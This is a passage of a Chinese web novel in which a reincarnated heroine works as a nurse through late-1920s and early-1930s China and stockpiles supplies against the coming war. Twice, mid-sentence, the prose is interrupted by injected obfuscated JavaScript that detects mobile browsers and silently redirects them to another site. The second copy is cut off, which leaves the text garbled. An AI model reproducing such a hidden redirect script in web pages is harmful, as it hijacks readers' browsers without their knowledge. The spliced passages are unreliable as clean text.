她极为赞同二十八年后的政权,但她在外国教会和外籍医院的经历绝对会让自己在上了年纪时过得十分悲惨。所以她必须离开。 * * * 城头的大王旗又换了。 最后一位皇帝结婚了。 说实话,苏茜对周先生的小说关注度更高。就是,行文看着略别扭,有那么点日语译文的意思。好吧,比文言文要容易读。她买了两本周先生的作品作为支持,然后就扔下轰轰烈烈的运动,回到自己的小岛上。 金元真没消耗多少。两百年前的熔炉已经无法用了,但金元的纯度比较高,直接用煤炉加本地金匠工具还是可以进行加工的,所以苏茜弄了不少做工不是很好、成色却相当好的金锞子,并且每次都去兑换超量银元作为战略储存——这里的银元有其他金属杂质,但作为等价物而言已是从古代到现在最高纯度了。 对了,官方金条还没有呢!她不知道这个世界改了还是自己不了解历史。现在压根没有网络搜索引擎可以查询……不知道这么多年各种语言和口音的影响下,自己以后还有没有能力打拼音。手头没有配音字典,她现在的口音与满大人普通话肯定是有差异的,就是不确定到底哪里不对。 平城的城区下雪的时候不算多。 医院只在圣诞和新年放假,旧历新年是没有假期的。也就是□□的短短几个月说是恢复春节放假制,之前和之后都不放。民间自家搞一堆庆祝祭祀的,除了南方一部分城市禁止旧俗,其他基本没人管。 苏茜当然是不会请假过春节,他们这栋楼甚至都不清楚这个华籍传统节日是什么时间。而离开外国及西化区域之外,街头巷尾议论最多的是退位皇帝不行的八卦。房子里报纸的头条大部分都是欧洲又打起来了。 除夕的时候见到打仗真不是多愉快,哪怕事情发生在一个来月前。她曾经看过不少近乎阴谋论的文章。不过现在看伦敦仍然是小报八卦男男女女风格的“专栏”,只觉得可乐。 “你觉得这是新一轮战争的开始吗?”新搬来的一户荷籍邻居忧心忡忡地问道。 “我只知道美国的军火商和飞机商将发财一百年,当然只有少数公司能存活那么久。” “你觉得还会有战争?” “会。我觉得这是新的战争大戏的前奏曲,幕布还没有拉开前的那种演奏。” “哦……幸好我们是中立国。” 苏茜看了看她。欧洲的中立国?别开玩笑了,就那么点地方! “中立国是不参与战争的,会维持国内的安全。”这位女士自我安慰着。虽然她也明白,大战过后什么都不会可靠。 苏茜耸耸肩,“不需要飞机,以坦克的速度只需要几天吧。那时荷国的财富和人口就都是占领者的了。不听话的话杀死一万人就够了。” “……” “我觉得欧洲的战争比亚洲的更可怕,听说美国那边一直在寻求跨大洋的飞行,那么未来整个欧洲,也许还有亚洲,可能都是战场。不过相对的,亚洲因为人口稠密,死的人更多,而且都是死于饥饿和灾难,这也是季风大陆的特征。” 听不太懂,但是好可怕!这位邻居脚步轻忽地离开了阅读角。 “你觉得还会有战争?”旁听许久的房东太太忍不住问道。她总觉得母国这种出兵太“古老”,就像是拿破仑会干的事。而拿破仑之后就再也没有第二位伟大的、让欧洲包括英国都震颤的法籍将军了。 “是,但也许还有不少年。” “可我看德国已经没钱也没人来发动战争了。” “他们有仇恨就够了。人口其实是很简单的事,武.器只要向美国买。而且我们都知道德籍化学家比哲学家多得多,其他学科也不差。”以前的化学定义极为广泛,从镜头到黄火药。 “哦……只有美国比较安全是吗?” “美国特别会赚钱是真的。他们的军火商都是敢于亲自前往交战国争取订单的家伙。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998328|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要有钱,美国就是最好的国家。反之,就是最可怕的国家。哦,在美国还要有开木仓的勇气,武.器是女性保护自己的唯一可靠的方式。” “哦!”好吓人。 “是的,我在房子失窃的之后就买了木仓。这让我安心多了。” “你对美国那么了解,是想移民吗?”真高兴,她也买了两支呢!楼里应该还有其他人也买了。 “不,那里不欢迎黄种人,尤其是华裔。” “我听说可以买到移民美国的身份?”房东太太不知道该说什么。她们是欧洲侨民还可以去欢迎欧洲移民的美国,但苏茜不是,虽然她现在的法语发音很好。 “是,装作一个定居华籍的‘纸上’家属之类。不过即使去了美国也很难好好地生活下去,说不定又因为什么事情被关起来。华府连毒死自己民众的事都干得出来,更不要说别的了。” “……”想到那个禁酒令下的有毒工业酒精,爱好美酒的房东太太虽然不喜欢苏茜自酿的甜葡萄酒,但绝对不能接受有毒假酒或酸苦的葡萄砖制品。 “不过他们不可能长久地禁酒。也许几年后就好了。”股灾之后。 “那么伦敦?”这位华籍房客的口音虽然不是多上层,但不看脸的话完全不知道这是华籍。 “伦敦好像受到过轰.炸?相信以后的飞机能飞得更远、携带更可怕的炸.弹。所以我还是就在国内吧,大不了去高原的教会医院。我认为飞机不会去那么遥远贫瘠的地方。” “……” 相关战争的话题之后基本没在楼里出现。但大家心里的阴影是抹不掉的。 但是之后报纸上一个不是很起眼的角落,冯鲁登道夫的名字让苏茜眯起了眼。一个曾经跟兴登堡配合默契,结果选举时惨败的家伙,希总理的战友。纳.粹已经有了不小的基础了。只是现在——以及未来——那个国家的右翼本身又分很多派别,这不是还有自己清洗自家队伍的事情……好像是在兴登堡的要求下?反正她对那些人都没好感。而且,即使现在杀掉了未来的战争狂魔,也许会有更糟糕的人物出现!历史的偶然总是在必然中出现。 * * * 这个夏天很热,很干燥,反正老的皇宫里起了大火,将很多千年珍藏和百年树木都化为废墟。 到最后一位皇帝被赶出皇宫的时候,那个庞大建筑群里已经没有人了。 “我去看过那个宫殿,古老、荒芜、面积很大。”一名住客去年刚进去执行任务,他在阅读角指着报道开始向邻居们讲述。 华文报纸一片叫好,外文报纸可能同一份报纸上有不同的观点。但总体上,遗老遗少的“呼吁奔走”根本不会上报纸。 “我觉得这里做得很好了,没有砍了他的头,还允许他带走其实并不属于他的财产。”比当年的法国好多了。 “还有一个民族问题。不得不说算是和平的做法了。” 男人们似乎对这样的话题尤其有兴趣,难得的聚在一起抽烟聊天,甚至还一致同意又订了两份期刊——苏茜也出钱了。但闲聊也就是一会儿的功夫,毕竟大家都各自有事情要做——这栋楼里可没有无所事事的贵族。 意国的“黑衣宰相”上台。黄埔建了个陆军军官学校。工人罢工。同一张报纸上的三个消息让苏茜无语。再加上一个抨击女权的专栏文章。 懒得再看报纸。 但不久之后,孙先生过世。 苏茜的世界历史可没有好到记得细节。她能把欧洲那么多同名君王大概搞清楚谁是谁已经很费力了。再加上一百多年的修仙生活,别指望她还记得多少,尤其是她的华籍身份是在两百多年前。要不是上辈子最后的二十年时间里,将现在已经成了垃圾的多语种书籍和文章通读过,她除了两次大战加起来不超过五十个人名之外大概啥记忆也不剩了。 回到岛上,一边炖猪瘦肉,一边继续整理这一世的“收藏”。 书和报在清洁阵中能保存百年,但最好的法子还是多看多记。平城的几次工人、学生运动乃至军人讨薪除了给大家增加“见识”外,并没有打乱这几个街区的生活节奏。苏茜的历史知识开始混乱。或者说,这个世界的现状与她的历史知识储备不完全一致。但大部分走向还是对的,比如英王的第一个孙辈,一位以三位王后的名字命名的公主诞生,照片上满月婴儿的美丽礼服还是近百年前的丝绸蕾丝袍。顺便说一句,被赶出皇宫的那最后皇帝的妻子的名字也没有变。 苏茜在进来好几名本地和护士之后开始增加休假。尤其是秋天的时候请假三天,理由是要去是逛逛旧皇宫。 南边又打起来了。 年年不止一处打。只要不是自家死伤,哪怕是家门口有木仓声,大家都已经麻木地习惯了。 距离苏茜最近的木仓声是医院窗口外。医生照样在看诊,护士照样在给药。 涌进故宫的堪称人山人海。 即使这段时间已经不是头几天的万人空巷,但仍然有几万人。每天开放一路,分三天看完,不到一块。其实门票不便宜,但人人都好奇皇帝住的地方,借钱也想去开开眼,哪怕就去看一眼太和殿也成。 结果苏茜啥展品也没看到!全是人头! 她当年的当年,是很久之前了,去了故宫几次才将各个馆都走过一遍。至于珍藏……文物太多根本摆不了,至于最大的文物其实是这座重建数次的宫殿本身。 所以苏茜好好走了一趟宫殿。看高高的破旧的宫墙,看粗粗的破旧的柱子,看精雕的破旧的檐角,看大块的破旧的金砖,还有灰败的汉白玉,暗淡的好木头,长满杂草的地面以及漆面掉光的宫门。 “这以前不是后宫粉黛三千吗?这个宫那个宫的,感情就这么一个院儿就是一个宫?怎么住啊那么多的妃子。” “听说一个妃一个宫,那些妃都是上了年纪有了儿子的。妃以下的嫔啊贵人啊答应啊的,分在各个妃的底下。” “这怎么睡啊这是?一屋睡俩?” “有份儿的总会有一间屋一张床吧?” “……” “……” 老少爷们唾沫横飞地话题歪到房子与纳妾之间的关系。工作人员则是连维持基本秩序都显得力不从心。 忽然之间一阵大雨,打得一堆一堆聊天的人措不及防到处找屋檐躲避。 只有苏茜施施然打开绅士长柄伞,慢慢经过广场,走出旧宫殿。 被岛上天气折腾了这么多年,她判断三小时内是否下雨只凭感觉。 17.当年的护士(四) 今年的天气偏暖,三月份的天气忽冷忽热,结果金陵那边传来很不好的消息,一个外籍大学校长被军队打死了。 接着,著名的活动家李先生被东北那边的军阀杀害。 各地军阀开始大洗牌。天津出的一份报纸分析的南方局势很有意思,苏茜买了没给外国邻居们看,因为他们中只有两位能够阅读简单的中文。 光是从人名满天飞的分析里就可以看出来,局势日渐紧张——不仅是内部,还有租界和口岸不设防这种入侵的前奏。最可怕的是,这些人名有的是用字、有的是用号,骂人的时候还会写绰号,搞得本来就不熟悉近代史的苏茜压根不知道在说谁。 “布莱克医生回国了。” “最近好几位医生,回伦敦了。” “还有去了美国的,对了,还有一位去澳大利亚。” “你觉得澳大利亚怎么样?” “有些大城市还不错。但听说内陆太广袤而且干旱贫瘠,不太适合生活。” “起码不会有战争吧?” “可是干旱也很可怕。” “那么海滨城市?” “亲爱的,海水不能喝。” 等到第一位女飞行员飞越大西洋的时候,这里还在为美术课程用裸模争执不休。 苏茜没有关心被东洋炸死的立场还算亲东洋的军阀——不过现在报纸上可没提那位军阀已经身亡,只是说受伤。 整个平城还在讨论新评出来的四公子,而且名单各异、长相还一言难尽,真是让人无语。 “……这就是法国香水为什么那么发达的原因。那时的贵族们不洗澡,那身上的味道可想而知。”一位英籍护士这样评价。 “人们的审美标准一直在变化。比如古代认为美少年就要比女孩子更精致纤细,但是美男子一定要高大、白皙、微胖并且胡子修剪得体。”苏茜向对方介绍道。 “哦,听上去都,挺有时代特征?” “是的。” 两人都没有提,现在,不论哪个国家都认为男人的魅力只有一条:有钱。 “所以这位年轻的地方领袖决定挂上统一的旗帜,因此这个国家结束了分裂状态!”年底的时候这算是好消息吧?苏茜的邻居们也显得挺高兴的。谁都希望新年到来的时候都是好事。打仗并不美好,即使有一位邻居还是军火商公司的员工。苏茜还从他那里高价买了一柄带抑制器的转轮,还有两盒特制子.弹。这种大幅降低噪音的装置后来管控越来越严,税后价也越来越高,据说最高曾经达到一间屋子的价格,反正她现在付出的其实还算是便宜。另外,这柄转轮属于噪音比较小的,这与其结构设计和配套子.弹有关,加上抑制器分贝能小于100,这样不得不开木仓的时候引起关注的几率会更小。 与热武相比,最可靠的还是自己徒手。 她最近正在研究在没有修为的世界里,如何徒手拧断脖子。最靠近大脑的那节颈椎骨是最致命的,不过一击毙命的难度并不比针灸找准穴位的难度小,因为可没有那么多的脖子可以练习。她当修士时杀的人都是用修为加武.器,连灭迹都没有上手直接接触。而在之前可都是小地主,自家地盘之外的人压根听不到奇怪的声音——听到也会当作没听到。 “苏茜护士真是用功。”大概是护士里唯一一个会看手术刀杂志并且做笔记的。呃,拉丁文、英文、示意图、乃至理化还是数学符号来着。 “我不懂的太多了。”可她没找到青霉素的资料。通史里只说这个时候发明,但更具体的就没有了。哦,还有卫生巾!她受够了经带和棉花草纸。距离绝经还有很久,所以她还得等多久? …… 卫生用品没有等来,先来到的是疯狂的华尔街。 有一户邻居折腾半天没有买到船票,没回去美国“发大财”,捡回一命。苏茜只知道这一年年底左右开始大萧条,但早就不记得具体时间,只是从一个黑色星期四开始。 所以在寒风凛冽中,全楼的人先是震惊地看到通过电报得到消息的本地报纸,然后是延迟送来的外文报纸。 “天啊……华尔街下人雨砸死了好几个路人!” “前段时间涨得太多现在回落不是很正常。” “是彻底崩盘了。你看这几份报纸的时间,照片的时间!” “完了,我上司新年的时候休假两个月回去买股票,一直没来上班……” 他们这些租客可没有电话,房东太太那有,但是因为她家在平城,家里直系近亲也没有在美国炒股票的,所以根本不知道消息。 “幸好我没那么多钱买来回船票去买股票。” “幸好我不是美国人。” “幸好我没钱。” 男女邻居们疯狂讨论了两个小时才慢慢散掉去吃迟到的晚餐。 苏茜没参与。这两个小时她在整理东西。几个月钱她就将美刀纸钞保存起来,本地和其他纸钞以及一部分金锞子全部换成银币。秋粮上市后买的大米以及酒醋、盐糖、蜂蜜等不拆袋直接存放在上辈子专门做出来的小巧粮食地窖,还专门租了个小仓库,一批批采购比如砖瓦木头石灰皮料帐篷衣被木炭煤炭汽油煤油乃至各类大小工具杂物都放进仓库,然后转移到岛上。山洞经过上辈子谨慎的扩充和加固做出来好几个附属储藏室,常年用木炭碎末减少些水分。她估计战争结束的大致时间不会改变,所以要准备好能让自己和少数身边的人撑过战争的物资。嗯,粮食包括牛奶水果肉罐头不能放那么久,每年都得更新,所以她都会在买到新粮后将陈粮送去城里的救济点,也从来不扔旧衣物。连厨余垃圾都没有,包括院子里的落叶都做了腐殖质和绿肥。 平城里因为破产而自杀的很少。但是因为美国市场或供应出了问题而离开的到有好些。苏茜的一对邻居租客走了,过了好些日子都没有人来租这两间房。最后房东太太的儿子一家为了省钱搬过来住了,女孩跟祖母住二楼,男孩跟父母住一楼。除了住房小点没有大客厅、上班远点需要骑自行车,其他没有任何不好的。 住客的变化与苏茜无关。她休假多了自然收入稍微减少一点点,不过全年所损失的工资都不超过一金元。所以她保持在一月和七月分别一次□□半年房租的习惯。 每年的圣诞元旦假期苏茜都会工作。虽然没有劳工法律,但医院会安排丰盛的加班晚餐和多一天带薪休假,表示对奉献的员工的关怀。当然,除夕的时候苏茜同样不会请假过节。 大萧条对平城的影响不是特别大,尤其是医院的产妇和病患数量每年都在增加。现在连不少普通平民都知道难产要来医院,生产前最好也来检查一下,如果能住到生产最好。更不要说一些急重症,尤其是肺部问题。甚至还有专门挑选日期来剖腹产的,不过多数会被医护劝退。 “终于没有给胎儿穿鞋子帮助生产的接生婆了。” “其实那种操作也就是一个心理安慰吧?没有手术几乎都是母亲和孩子难产而亡。” “谢天谢地没有人为了漂亮而故意感染肺结核。” “本地人知道肺结核是会传染人的绝症。” “也不是都会死啊!” “大部分的本地人,即使小工场主也支付不起长期治疗修养的费用。” “这倒也是。” “……” “……” 苏茜仍然在传染病病区。期间她“安排”自己被病人传染了三次,病假了两周时间,期间虽然没工资,但医药费不需要自己付。 由于本地病患越来越多,她这样的资深多语种华籍护士被提了一级。对了,她还会“一点”日文口语。本地的日语“教材”极少而且是用罗马字母标注读音,而那边传来的不少文章书籍居然是没有汉字的“奇怪”符号,搞得她这个近两百年没接触的人重新捡起来相当困难。她曾经一度重读过几年的教材书籍完全跟现行的完全对不上,但是口语中倒还能用,尤其是她能用一些敬语让病患及家属非常舒适,虽然格式读音之类的有些不太对。 “日籍病人是越来越多了。”本地护士在周围没有外国医护的情况下有时也会说华语。 “东北那边……唉,反正想想也不是中原。” “连东北那边都有了侍从官四公子。不都是这边过去的。” “所以……那边会打起来吗?” “那边怎么会反抗东洋。” 护士们可不会看飘洋过海价格翻倍的外籍报,所以对时局了解讨论得更多,甚至还有在平城政府成立后偷偷加入党派的。 苏茜基本不参与讨论。她与本地人的脑袋不同步,但与外籍的也没法并轨,所以只能一个人清醒。 入夏后,连少雨的平城都在下雨,长江流域到处是洪灾。没灾的地方居然还在打仗!真是服了。 这下没法囤秋季大米了。好在之前买的春麦和麦粉、米粉、干面条、通心粉和一些粗粮面粉大部分都贮藏起来,足够她吃到明年秋天。不过等开始组织募捐的时候,她会将去年的粮食和罐头都捐出去的。 能在食堂吃新鲜现成的食物还不错。现在人多了,还多了个华籍平城厨师,食物种类也更多了,起码有米粥、红枣小米粥和蔬菜瘦肉粥而不是只有燕麦牛奶粥。就是披萨仍然做得一言难尽,还不如千层面,奇怪的地方在于还是平城厨师做的千层面好吃! “这是法国菜吗?” “不,意大利菜。其实现在推崇的法国菜源于意大利,据说法兰西国王亨利二世,在教皇的安排下娶了嫁妆非常多的凯瑟琳-美第奇公爵小姐……凯瑟琳王后陪嫁了上百名厨师,她教会法兰西贵族们如何优雅地使用刀叉、布置餐桌和烹饪肉食,而不是像野蛮人一样用刀子切割只放盐的腥膻肉块,用手放到嘴里,并且她将高跟鞋、束腰和香水带到法国宫廷乃至整个欧洲……美第奇家族是缔造了佛罗伦萨财富和四位教皇,达芬奇、米开朗基罗、拉斐尔等艺术家的传奇银行家贵族,而法王一向喜欢欠债享乐,后来波旁王室的亨利四世也一样,为了钱娶了一位美第奇又冷落妻子。这里的亨利不是英国安茹王室的短斗篷亨利二世和兰开斯特王室的……差不多一百年后,一位法国公主成为英国王后,把更加精致讲究的餐桌带给英国,虽然并没有让英国的食物变得有多好吃……” 苏茜难得聊天,一聊就是连不少外籍护士也不知道的历史八卦,嗯,尤其是标准的意语和法语人名全名发音,让挺迷信法国菜的美籍英籍甚至法籍人士都目瞪口呆,更不要说满脑袋“亨利不是亨利也不是海因里希”的三种发音——为什么苏茜一副你们应该知道谁是谁,但事实上大家一个都不知道。 “哦,‘黑太后’!”终于有个“知识渊博”的荷籍护士想起来,然后法籍护士也想起来了。 “对,住卢森堡宫,给长子娶了苏格兰玛丽斯图亚特女王的那位。”苏茜又补上一记冷知识。 “是不是被伊丽莎白女王砍头的那位?” “对。不是血腥玛丽,是英格兰女王的表姐玛丽。当然后来那位美第奇也叫玛利亚。”抱歉,玛丽和亨利这样的名字太多了。然后她向华籍多解释了几句,“她们两位佛罗伦萨王后差不多是法国版的武则天太后和慈禧太后,前一位治国水平超过儿子,后一位尽添乱。当时还没有统一的意国。” “不是有罗马帝国吗?” “罗马分裂为罗马和君士坦丁堡两个帝国之后,西罗马帝国被哥特人灭亡了。中间还有个神圣罗马帝国,然后拿破仑曾经建了个傀儡国。七十年前才建了意国,定都佛罗伦萨。法国撤出后再迁都罗马。意国在罗马帝国的时候叫意省。” “东罗马帝国是被突厥人灭绝的吧。” “是。巴格达的什么王朝,我不会土耳其语。” 一堆的历史名词让包括华籍在内的人都满头包。但没人敢否认苏茜的欧洲历史知识超过部分欧洲人——她可以跟法籍讨论英王室的狗血,跟英籍探讨拉丁史上的狗血,跟美籍研究相同人名背后的狗血……为什么都是一堆让人无语的“史实”乱飞? “一千年来华籍皇室和战争也很让人抓头发啊!”比如一只鸡拉开了明亡的序幕,还有被剁成碎肉的福王,还有大太监死后越来越少的军饷……为什么每个故事都是那么的,难以描述? 晚饭后的这场历史八卦甚至吸引了一堆医生和轻病患。 但几天后,就是东洋正式出兵占领满洲的九一九。 为什么不是九一八? 苏茜没有太奇怪。她是历史麻木者,知道即使历史有偏差,也还有很多年战争才结束。而且现在还不是最惨烈的时候,没看那边都没有正面战场可言吗?! 平城这里报纸传单纸片满天飞,人们义愤填膺,连外籍人士都皱眉,不少国家包括美国也公开谴责。 谴责有什么用?那边照样做生意。 调查有什么用?还是殖民国作风。 退位的皇帝又重新当了皇帝,没有引起任何波澜。倒是一堆人寄希望于外国来调查东洋侵略事宜。 苏茜连看报纸都懒得看。 “……主要看大战什么时候可能打起来吧。”苏茜冷淡地道。 “大战?!” “对,第二次大战。这次的武.器更先进,杀伤力更强。不知道如果打起来的话,军备还是十年前的法国能撑多久。”想起来后来无数搞笑“片段”,苏茜就挺想重复美.军对法军的评价——她对历史评论的搞笑部分记得特别清楚,至于生灵涂炭……现在还没开始呢! 其实光是自然和人为灾害造成的死亡都比直接死在战场的人数多。而屠.杀……当年满兵屠.杀的城市早就没了血腥记忆,大家还对剪辫子犹豫不决呢! 苏茜的淡漠让房东太太以及邻居们有些犹豫。这到底是严重还是不严重呢?严重的话他们还是趁早找机会回国,不严重的话还能多攒几年钱到时候可以移民美国、不行去澳洲。毕竟现在欧洲还没打仗不是,就是经济同样很糟糕。 “我觉得平城目前还是安定的,不会被炸。” 这句话没多久,元旦过去没几天,东洋打进海城。 这就有了著名的一幕:外国记者在租界里边喝咖啡边拍摄远处交战的照片,以及各种战争中儿童“悲惨”的照片带动报纸销售——两个亚洲国家打来打去,也就是这种照片可以弄些卖点了。也许有些反对战争的记者会从不同角度去解读,但读者们要么表示一下自己是很有同情心的人士,要么兴高采烈地寻找谈资。平城这里谈论战事也是这种唾沫横飞的劲头,不过老少爷们是不会傻乎乎地加入军队找死的,他们还要弄钱娶姨太太传宗接代,忙着呢。也许其他地方很多人都去参军了,反正他们入伍了也不是去打外族的。 外国人们也每天盯着报纸,连外文报都对远东第一大都市和海港大篇报道。 苏茜重新去翻了通史,也就是几行字,还没有伪满国的字数多,更比不上这一年德国选举时那位当过兵的美术生为什么被任命为总理而不是直接当选为元首的分析。原来这是海城第一次抗战,败了,但还不至于全面沦陷,不是她记忆里那场悲壮的会战,但也有曾经赚到她眼泪的十九路军…… 本次战事各国是出兵了的,尤其是远东海军大概都压在长江入海口了,也所以东洋军队暂“退”一步,让各国继续做生意。 要不,以后如果有机会,就学学什么机械设计、金属制造或是化学制药——生物制药在这种年代压根用不上。 日子又诡异地平静下来。平城甚至有点歌舞升平的意思,据说新的平城四公子又出炉了,从不清晰的照片上看,长相依旧有些一言难尽。兴许她与这个时代的审美有壁垒,没一个看得顺眼。 苏茜能够理解却无法接受这种党.争高于一切的“传统”做派。这个国家仍然四分五裂的状况让“国家”概念还没真正形成,又失去了君王这个共主,因此绝大多数人眼里就只剩下家族和小团体的利益。这是根深蒂固的东西,一代代家庭教育出来,不是一场两场少数人参与的“运动”能解决的。 北方,“传说”军队与东洋军又“狠狠”打了一仗。在大家还没想好是不是要跑路的时候,又结束了。有的报纸口口声声说赢了,双方停战,有的怕被查封说着模棱两可的话。 苏茜不想多看一眼这愚蠢的作秀。现阶段,真正的战争是党.争,对外的,称不上。 “如果他能够谨慎平和地使用自己的权力,那么这里的任何人都不会为德国民主的消失而落泪。” 总体上,报纸一半支持纳.粹打苏联,一半外国记者的反面新闻报道受限制。苏茜干脆不看任何报纸了。原来大战前是如此让人迷惘绝望的舆论环境! 唯一让人心情还不错的是罗总.统开始推行新政,大萧条会好一点,吧。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个时候锦城还不是多“热门”的城市,与海城租界差距甚远,但比海城交战地要强多了。 苏茜对这个年代海城的“繁华”全无兴趣,也不想挑战目前蜀省风景胜地的可怕交通。她在忙着适应本地方言和找房子。 医院周边的房源不少,但都没有可以洗澡不需要倒马桶的卫生间。苏茜不得不将条件放宽,距离两公里以外,倒是有三楼一整层三间房间包括一间超级大的带下水道的盥洗室,一楼是出租的沿街店面,二楼是房东一家,三楼出租。二楼和三楼只能从后巷的室外楼梯上去。本来三楼是拆成三户出租,但住户用水上厕所得与房东家一起导致不少问题,最后房东干脆简单改造后整层出租,导致价格较高。 所以苏茜见到的盥洗室中间有个冲水蹲厕,边上是一个大木桶和一个炉子加俩凳子。 这是她若干辈子仅见的奇葩“厨卫间”,对了,这个炉子可以做饭烧水,于是就不需要从二楼拎了热水上来洗澡。 “我租了。”房租还比平城的套间便宜,三个月一付,有独立的水井,而且不需要付美刀。 至于三间屋子只有一套简单家具,井水水质一般还要人力提上楼,以及楼梯房间窗户的安全问题——对苏茜而言真不是问题。她拒绝公厕主要是为了掩饰出入自家的岛。还有,在平城时她也只喝岛上雨水过滤净化烧开后的水,而洗涤用水就是简单过滤后的雨水。 这里的井水主要是用来擦洗地面家具和冲厕所。 唯一让人特别满意的就是玻璃大窗户和布窗帘,在不得不睡在房间里时遮挡效果不错。 医院那边也到了上班的时间。 一个正值壮年,有学历有证书有工作经验会几种外语的华籍女护士还对工资没有要求,简直是天上掉馅饼。医院给了仅次于美籍护士长的工资, 苏茜则最为满意医院附属书店里有出售医学院的全部教科书,而不像平城那里拒绝外售。 她买的书分两次才搬完,还是叫人力车连人带书箱的运,再多给车夫小费帮忙搬上楼,可见买了多少书。 这个时代医学教科书的理念已经很接近“现代”理念,X光的应用也有,只是很多还是在理论甚至设想的阶段。苏茜没有收集很多的现代医学书,但病理学、药典、中医译文和穴位药方等等还是有的。跟现在买到的中西医书一对比就大概可以知道其进展。比如青霉素和磺胺的生产运用,比如病毒的检测和治疗,比如一次性针头及消毒设施……这些因为涉及医生护士医院之外的科技,因此很难做到。 …… 锦城的冬季来得晚,但攻击性一点不差。让人“庆幸”的是,每逢换季公立医院塞满人的盛况在眼下的锦城西式医院里是不存在的。 医院不是公立,为个感冒付两块以上诊费药费的人不多。但来医院的过半都是肺炎乃至肺结核。 “产科当然不能和肺病还有痢疾混杂,会将疾病带给新生儿,必须严格分开……”苏茜这样跟与同样住院的亲属距离很远的产妇说道,并且拒绝了对方想让那边亲属过来的要求。 其实这个时候还有霍乱甚至炭疽吧?苏茜觉得自己的近代通史等于没读,因为没有一样是用得上的。另外,有些事情时间并不一样。比如应该有个西安事变的?怎么时间不对啊!人名似乎也不太对?苏茜看到报道的时候,那边已经“和平解决”。似乎记得惨死的小萝卜头就与这事件有关?唉,几百年了,她真有些记不清。 接着的几个月陷入了一种诡异的平静。 苏茜照样休假。 她的休假就是去无主山地“拿”可以做绿肥的大量枝叶,用来保持岛上种植区域的土壤,并且挖些山上腐殖质多的泥土连同一些看得顺眼的菜和茅草、杂草装进陶盆、木筐等各种容器里,有时直接从农家买种子。倒不全是她要种了吃,更重要的是地面需要一些植被。岛上雨水过多,即使上辈子修了梯田还种了保持土壤的植物,也只是让土地不过分糟,而且那些植物现在都成了土壤肥料。平城的时候她试过几种,但北方的植被在岛上基本活不过一年,希望锦城这里的植物争气些。 “这种草就是盖屋顶的。没人专门种,田里不能有这种草,但山上都是。”山民指点了不少“冷门知识”以及不少菜作为参考,得到一块银元作为报酬,高兴得不得了。 而苏茜则待在山里逗留好几天,都在挖掘移栽。好吧,作为老家华籍的人士,她居然差点没认出来荠菜这种著名蔬菜,简直令人发指! 一周的休假过后,似乎依旧风平浪静。苏茜买了些常用西药和中草药“备着”,当然可以储藏的食物和衣物煤炭木炭竹炭汽油煤油等等是每年的“保留节目”。竹炭燃烧效果没有木炭好,但胜在便宜环保。 顺便继续给各个捐款点投入夹了无标识金元的纸币。 这个时期的纸币虽然不得不放弃银本位,但币值稳定,还能自由兑换外币,所以她时不时兑换些各国货币做收藏,尤其是保值的美刀。相比管理严格的城市,农人们还是更欢迎他们长期习惯使用的贵金属或是易物交易,所以她给的是金银,和用自家海水煮出来的海盐。而上点规模的商人们则更喜欢金子付账。所以苏茜用金块换金条,再换来不少物资,比如脚踏车加打气筒。以她的工资得好几个月才买得起一辆脚踏车外加上税和牌照,不过用金元就简单多了。 锦城冬天湿冷夏天湿热。冬天的火炉子只要没有一氧化碳中毒还比较有效,但夏季没有低噪音的空调那真是难受。 “今天这个天热死了。晚上肯定睡不着。”二楼房主一家八口,中年夫妇两个老人四个孩子,开着所有门和窗通风。 当苏茜回来时他们顿了下,明显是从窗口离开。自从知道楼上的护士要接触病人和死人后,他们就不再热情地拉着她说东道西拼命打听医院里挣多少钱。 “我闻不到死人味道啊?” “笨!她把护士服换下了。” “传染病是闻不到的,只会直接传给你。” “可她好像没有生过病。连咳嗽也很少。” “也不在地板上跑来跑去。不吵。” “反正你们别跟她距离太近,知道吗!” “知道了!” 几个孩子最大的十五,最小的刚会走路。苏茜叹息着,觉得幸好这里是锦城,不是全城被炸成废墟的渝城。 不过,两个城市距离这么近,难道真没轰.炸?想到不靠谱的通史记录,她开始不确定了。话说,这个城市有防空洞吗?! 18.当年的护士(五) 【最后关头一到,只有牺牲到底,抗战到底。唯有“牺牲到底”的决心,才能博得最后胜利。若是彷徨不定,妄想苟安,便会陷民族于万劫不复之地!】 所有正经报纸都登了这样的讲话内容。 宛平的交战后好些日子,这里才确定,“可能”要真打了。让习惯了党.争的家伙们炮口对外是痛苦的吧?苏茜没有去抢购什么,该买的都买了。应该说,锦城仍然在按照自己的步伐慢悠悠过着日子,完全不见战争带来的慌乱,只有茶馆饭摊的中老年男子吐沫横飞地发表着挥斥方遒的演说,然后回家继续催着儿孙结婚。哪怕打仗,也不能阻止传宗接代的决心,炮.弹和饥荒下也得生儿子不是。 何况现在没有战争。 报纸上全部是战争的消息。苏茜只买看上去最严谨的一份,看完收藏。早年的书籍保存得再好也不太行了,所以苏茜从上上辈子年老之后就一直在拼命看书背书,重点还会记录在好纸上,继续保存收藏。但不同时期对不同问题有不同见解,如果不是够聪明,她早就满脑子打结了。 就像来锦城后买的书,到现在才看了不到一半,不是对内容理解不了,而是语言翻译问题,因此她不得不将两种甚至三种语言的类似书互相对照,才发现不是自己记错了,而是文字习惯问题。她记得最好的是现代版本,但这个年代的光是翻译名称就各不相同,哪怕是英语也有不同说法,因此她不得不记了上百张纸的名词对照。 这样下去,连上班都要没时间了。 可,不上班不行啊,单身女性不管是哪个年代都得有个大家可以接受的职业或是身家地位。她的履历不可能出现豪富身家,那么一个救死扶伤、满身病菌或血污却又能自己付房租的护士就是个很好的岗位!没看房东太太根本不想问她为什么不赶紧找个有儿子的中老年男人嫁了嘛。要不是苏茜付房租爽快也不搞事情,她都恨不能另外找个房子让苏茜买下或是租住。 